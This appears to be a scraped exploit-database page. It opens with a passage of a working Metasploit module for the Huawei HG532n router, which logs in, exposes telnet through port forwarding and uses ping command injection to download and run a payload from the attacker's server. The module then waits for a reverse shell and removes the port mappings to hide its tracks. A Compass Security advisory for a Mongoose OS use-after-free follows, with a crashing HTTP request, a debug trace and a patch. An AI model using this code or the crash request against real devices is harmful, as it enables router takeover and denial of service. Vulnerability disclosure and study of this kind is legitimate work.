'ThirdMenu=Admin_0_0_0; ' else cookie = 'FirstMenu=User_2; ' cookie << 'SecondMenu=User_2_1; ' cookie << 'ThirdMenu=User_2_1_0; ' end cookie << 'Language=en' cookie << "; #{session}" unless session.nil? cookie end # # Login to the router through its JS-based login page. Upon a successful # login, return the keep-alive HTTP session cookie # def web_login cookie = generate_web_cookie(admin: true) # On good passwords, the router redirect us to the /html/content.asp # homepage. Otherwise, it throws us back to the '/' login page. Thus # consider the ASP page our valid login marker invalid_login_marker = "var pageName = '/'" valid_login_marker = "var pageName = '/html/content.asp'" username = datastore['HttpUsername'] password = datastore['HttpPassword'] res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/login.cgi', 'cookie' => cookie, 'vars_post' => { 'Username' => username, 'Password' => hash_password(password) } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end return res.get_cookies if res.body.include? valid_login_marker if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") end end # # The telnet port is filtered by default. Expose it to the outside world # through NAT forwarding # def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) external_telnet_port = rand(32767) + 32768 portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" invalid_port_export_marker = /var ErrInfo = \d+/ res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/addcfg.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping', 'RequestFile' => portmapping_page }, 'vars_post' => { 'x.PortMappingProtocol' => "TCP", 'x.PortMappingEnabled' => "1", 'x.RemoteHost' => "", 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, 'x.InternalClient' => "192.168.1.1", 'x.InternalPort' => "23", 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end if res.body.include? valid_port_export_marker print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}" return external_telnet_port end if res.body.match? invalid_port_export_marker fail_with(Failure::Unknown, "Router reported port-mapping error. " \ "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") end # # Cover our tracks; don't leave the exposed router's telnet port open # def hide_exposed_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) portmapping_page = '/html/application/portmapping.asp' # Gather a list of all existing ports forwarded so we can purge them soon res = send_request_cgi( 'method' => 'GET', 'uri' => portmapping_page, 'cookie' => cookie ) unless res && res.code == 200 print_warning "Could not get current forwarded ports from web interface" end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| vars_post[key] = "" end res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/del.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'RequestFile' => portmapping_page }, 'vars_post' => vars_post ) return if res && res.code == 200 print_warning "Could not re-hide exposed telnet port" end # # Cleanup our state, after any successful web login. Note: router refuses # more than 3 concurrent logins from the same IP. It also forces a 1-minute # delay after 3 unsuccessful logins from _any_ IP. # def web_logout(session_cookies) cookie = generate_web_cookie(admin: true, session: session_cookies) res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/logout.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } ) return if res && res.code == 200 print_warning "Could not logout from web interface. Future web logins may fail!" end # # Don't leave web sessions idle for too long (> 1 second). It triggers the # HTTP server's safety mechanisms and make it refuse further operations. # # Thus do all desired web operations in chunks: log in, do our stuff (passed # block), and immediately log out. The router's own javescript code handles # this by sending a refresh request every second. # def web_operation begin cookie = web_login yield cookie ensure web_logout(cookie) unless cookie.nil? end end # # Helper method. Used for waiting on telnet banners and prompts. # Always catch the ::Timeout::Error exception upon calling this. # def read_until(sock, timeout, marker) received = '' Timeout.timeout(timeout) do loop do r = (sock.get_once(-1, 1) || '') next if r.empty? received << r print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true return received if received.include? marker end end end # # Borrowing constants from Ruby's Net::Telnet class (ruby license) # IAC = 255.chr # "\377" # "\xff" # interpret as command DO = 253.chr # "\375" # "\xfd" # please, you use option OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission OPT_ECHO = 1.chr # "\001" # "\x01" # Echo OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition def telnet_auth_negotiation(sock, timeout) begin read_until(sock, timeout, 'Password:') sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected first password banner not received") end begin read_until(sock, timeout, 'Password:') # Router bug sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected second password banner not received") end end def telnet_prompt_wait(error_regex = nil) begin result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) if error_regex error_regex = [error_regex] unless error_regex.is_a? Array error_regex.each do |regex| if result.match? regex fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") end end end rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end end # # Basic telnet login. Due to mixins conflict, revert to using plain # Rex sockets (thanks @hdm!) # def telnet_login(port) print_status "Connecting to just-exposed telnet port #{port}" @telnet_prompt = 'HG520b>' @telnet_timeout = 60 @telnet_sock = Rex::Socket.create_tcp( 'PeerHost' => rhost, 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, 'Timeout' => @telnet_timeout ) if @telnet_sock.nil? fail_with(Failure::Unreachable, "Exposed telnet port unreachable") end add_socket(@telnet_sock) print_good "Connection succeeded. Passing telnet credentials" telnet_auth_negotiation(@telnet_sock, @telnet_timeout) print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" telnet_prompt_wait print_good 'Prompt received. Telnet access fully granted!' end def telnet_exit return if @telnet_sock.nil? @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY) end # # Router's limited ATP shell just reverts to classical Linux # shell when executing a ping: # # "ping %s > /var/res_ping" # # A successful injection would thus substitute all its spaces to # ${IFS}, and trails itself with ";true" so it can have its own # IO redirection. # def execute_command(command, error_regex = nil, background: false) print_status "Running command on target: #{command}" command.gsub!(/\s/, '${IFS}') separator = background ? '&' : ';' atp_cmd = "ping ?;#{command}#{separator}true" @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) telnet_prompt_wait(error_regex) print_good "Command executed successfully" end # # Our own HTTP server, for serving the payload # def start_http_server @pl = generate_payload_exe downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile if datastore['DOWNHOST'] print_status "Will not start local web server, as DOWNHOST is already defined" else print_status("Starting web server; hosting #{resource_uri}") start_service( 'ServerHost' => '0.0.0.0', 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) end resource_uri end # # HTTP server incoming request callback # def on_request_uri(cli, _request) print_good "HTTP server received request. Sending payload to victim" send_response(cli, @pl) end # # Unfortunately we could not use the `echo' command stager since # the router's busybox echo does not understand the necessary # "-en" options. It outputs them to the binary instead. # # We could not also use the `wget' command stager, as Huawei # crafted their own implementation with much different params. # def download_and_run_payload(payload_uri) srv_host = if datastore['DOWNHOST'] datastore['DOWNHOST'] elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" Rex::Socket.source_address(rhost) else datastore['SRVHOST'] end srv_port = datastore['SRVPORT'].to_s output_file = "/tmp/#{rand_text_alpha_lower(8)}" # Check module documentation for the special wget syntax wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}" execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc. execute_command("chmod 700 #{output_file}", /No such file/) execute_command(output_file, /not found/, background: true) execute_command("rm #{output_file}", /No such file/) end # # At the end of the module, especially for reverse_tcp payloads, wait for # the payload to connect back to us. There's a very high probability we # will lose the payload's signal otherwise. # def wait_for_payload_session print_status "Waiting for the payload to connect back .." begin Timeout.timeout(datastore['ListenerTimeout']) do loop do break if session_created? Rex.sleep(0.25) end end rescue ::Timeout::Error fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") end print_good "Payload connected!" end # # Main exploit code: login through web interface; port-forward router's # telnet; access telnet and gain root shell through command injection. # def exploit print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" unless check == Exploit::CheckCode::Appears fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") end print_good "Good. Router seems to be a vulnerable HG532n device" telnet_port = nil web_operation do |cookie| telnet_port = expose_telnet_port(cookie) end begin telnet_login(telnet_port) payload_uri = start_http_server download_and_run_payload(payload_uri) wait_for_payload_session ensure telnet_exit web_operation do |cookie| hide_exposed_telnet_port(cookie) end end end end
Huawei HG532n - Command Injection (Metasploit).. remote exploit for Hardware platform
Huawei HG532n - Command Injection (Metasploit) - Hardware remote Exploit
############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/en/research/advisories/ # ############################################################# # # Product: Mongoose OS # Vendor: Cesanta # CVE ID: CVE-2017-7185 # CSNC ID: CSNC-2017-003 # Subject: Use-after-free / Denial of Service # Risk: Medium # Effect: Remotely exploitable # Authors: # Philipp Promeuschel <philipp.promeuschel@compass-security.com> # Carel van Rooyen <carel.vanrooyen@compass-security.com> # Stephan Sekula <stephan.sekula@compass-security.com> # Date: 2017-04-03 # ############################################################# Introduction: ------------- Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers: * ESP32 * ESP8266 * STM32 * TI CC3200 Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS). Affected versions: --------- Vulnerable: * <= Release 1.2 Not vulnerable: * Patched in current dev / master branch Not tested: * N/A Technical Description --------------------- The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server. This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable. The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called: --------------->8--------------- void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) { [CUT BY COMPASS] #if MG_ENABLE_HTTP_STREAMING_MULTIPART if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL && s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) { mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary // however, the socket is not closed, and mg_http_multipart_continue() is executed mg_http_multipart_continue(nc); return; } ---------------8<--------------- In the mg_http_multipart_begin function, the boundary is correctly verified: --------------->8--------------- boundary_len = mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary)); if (boundary_len == 0) { /* * Content type is multipart, but there is no boundary, * probably malformed request */ nc->flags = MG_F_CLOSE_IMMEDIATELY; DBG(("invalid request")); goto exit_mp; } ---------------8<--------------- However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed. In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed: ---------------8<--------------- static void mg_http_multipart_continue(struct mg_connection *c) { struct mg_http_proto_data *pd = mg_http_get_proto_data(c); while (1) { switch (pd->mp_stream.state) { case MPS_BEGIN: { pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY; break; } case MPS_WAITING_FOR_BOUNDARY: { if (mg_http_multipart_wait_for_boundary(c) == 0) { return; } break; } --------------->8--------------- Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash. ---------------8<--------------- static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { const char *boundary; struct mbuf *io = &c->recv_mbuf; struct mg_http_proto_data *pd = mg_http_get_proto_data(c); if ((int) io->len < pd->mp_stream.boundary_len + 2) { return 0; } boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len); if (boundary != NULL) { [CUT BY COMPASS] --------------->8--------------- Steps to reproduce ----------------- Request to HTTP server (code running on hardware device): ---------------8<--------------- POST / HTTP/1.1 Connection: keep-alive Content-Type: multipart/form-data; Content-Length: 1 1 --------------->8--------------- The above request results in a stack trace on the mongoose console: ---------------8<--------------- Guru Meditation Error of type LoadProhibited occurred on core 0. Exception was unhandled. Register dump: PC : 0x400014fd PS : 0x00060330 A0 : 0x801114b4 A1 : 0x3ffbfcf0 A2 : 0x00000000 A3 : 0xfffffffc A4 : 0x000000ff A5 : 0x0000ff00 A6 : 0x00ff0000 A7 : 0xff000000 A8 : 0x00000000 A9 : 0x00000085 A10 : 0xcccccccc A11 : 0x0ccccccc A12 : 0x00000001 A13 : 0x00000000 A14 : 0x00000037 A15 : 0x3ffbb3cc SAR : 0x0000000f EXCCAUSE: 0x0000001c EXCVADDR: 0x00000000 LBEG : 0x400014fd LEND : 0x4000150d LCOUNT : 0xffffffff Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210 --------------->8--------------- Further debugging shows that an uninitialized string has indeed been passed to c_strnstr: ---------------8<--------------- (gdb) info symbol 0x401114b4 c_strnstr + 12 in section .flash.text (gdb) list *0x401114b4 0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720). warning: Source file is more recent than executable. 1715 } 1716 #endif /* _WIN32 */ 1717 1718 /* The simplest O(mn) algorithm. Better implementation are GPLed */ 1719 const char *c_strnstr(const char *s, const char *find, size_t slen) WEAK; 1720 const char *c_strnstr(const char *s, const char *find, size_t slen) { 1721 size_t find_length = strlen(find); 1722 size_t i; 1723 1724 for (i = 0; i < slen; i++) { (gdb) list *0x401136cc 0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose.c:5893). 5888 mg_http_free_proto_data_mp_stream(&pd->mp_stream); 5889 pd->mp_stream.state = MPS_FINISHED; 5890 5891 return 1; 5892 } 5893 5894 static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { 5895 const char *boundary; 5896 struct mbuf *io = &c->recv_mbuf; 5897 struct mg_http_proto_data *pd = mg_http_get_proto_data(c); (gdb) --------------->8--------------- Workaround / Fix: ----------------- Apply the following (tested and confirmed) patch: ---------------8<--------------- $ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c index 91dc8b9..063f8c6 100644 --- a/mongoose/mongoose.c +++ b/mongoose/mongoose.c @@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { return 0; } + if(pd->mp_stream.boundary == NULL){ + pd->mp_stream.state = MPS_FINALIZE; + LOG(LL_INFO, ("invalid request: boundary not initialized")); + return 0; + } + boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len); if (boundary != NULL) { const char *boundary_end = (boundary + pd->mp_stream.boundary_len); --------------->8--------------- The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4] Timeline: --------- 2017-04-03: Coordinated public disclosure date 2017-04-03: Release of patch 2017-03-20: Initial vendor response, code usage sign-off 2017-03-19: Initial vendor notification 2017-03-19: Assigned CVE-2017-7185 2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen 2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen 2017-03-08: Discovery by Philipp Promeuschel References: ----------- [1] https://www.cesanta.com/ [2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760 [3] http://www.ietf.org/rfc/rfc2046.txt [4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b
Cesanta Mongoose OS - Use-After-Free. CVE-2017-7185 . dos exploit for Hardware platform
Cesanta Mongoose OS - Use-After-Free - Hardware dos Exploit